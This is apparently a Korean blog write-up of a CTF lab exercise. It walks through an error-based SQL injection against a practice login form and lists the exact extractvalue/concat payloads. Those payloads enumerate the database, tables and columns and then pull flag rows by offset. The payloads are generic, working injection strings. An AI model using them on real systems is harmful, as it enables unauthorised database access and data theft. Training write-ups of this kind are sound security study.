※ 주의 : 보안 관련 학습은 자유이지만, 학습 내용을 사용한 경우 법적 책임은 행위자에게 있습니다.
(Note: Security-related learning is allowed, but the individual is solely responsible for any legal consequences arising from the use of the acquired knowledge.)
※ CTF - Capture The Flag
※ 문제 푸는 방법이 다양할 수도 있습니다.

→ SQL Injection 근거로 찾아가봅니다.
→ ID에 1' or extractvalue('1', concat(':', database() )) # 와 PW에는 아무 값이나 입력하니 DB명이 도출되었다.
▶ Error Based SQLi 공격포맷 정립
→ ID 입력란에 1' or extractvalue('1', concat(':', (SQL구문) )) #
▶ 1단계 DB이름
→ 1' or extractvalue('1', concat(':', database() )) #

→ 현재 DB이름 sqli_2_2
▶ 2단계 Table이름
→ 1' or extractvalue('1', concat(':', (SELECT table_name FROM information_schema.tables WHERE table_schema='sqli_2_2') )) # 여러줄이 나와서 GROUP_CONCAT 사용
→ 1' or extractvalue('1', concat(':', (SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='sqli_2_2') )) # // 결과 값 ':flagTable_this,member'
▶ 3단계 flagTable_this의 COLUMN 이름
→ 1' or extractvalue('1', concat(':', (SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='sqli_2_2' and table_name='flagTable_this'))) # // 결과 ':idx,flag'
▶ 4단계 값 알아내기
→ 1' or extractvalue('1', concat(':', (SELECT group_concat(flag) FROM flagTable_this))) # // 결과 ':hello,What are you looking for?'
→ 쉽사리 알려주지 않을 듯 하다.
→ LIMIT로 어디까지 있는지 먼저 살펴본다. LIMT 16,1 은 LIMIT 1 OFFSET 16과 같다.
→ 1' or extractvalue('1', concat(':', (SELECT flag FROM flagTable_this LIMIT 16,1))) # // 결과 16까지는 존재하고, 17은 존재하지 않았다.
→ 거꾸로 시작했다.
→ 1' or extractvalue('1', concat(':', (SELECT flag FROM flagTable_this limit 13,1))) # // 여기 플래그가 있었다.
→ 플래그 획득
| Segfault CTF - (8주 차) SQL Injection Point 1 (0) | 2024.06.12 |
|---|---|
| Segfault CTF - (7주 차) SQL Injection 6 (0) | 2024.06.05 |
| Segfault CTF - (7주 차) SQL Injection 4 (0) | 2024.06.05 |
| Segfault CTF - (7주 차) SQL Injection 3 (0) | 2024.06.05 |
| Segfault CTF - (7주 차) SQL Injection (Blind Practice) (0) | 2024.06.05 |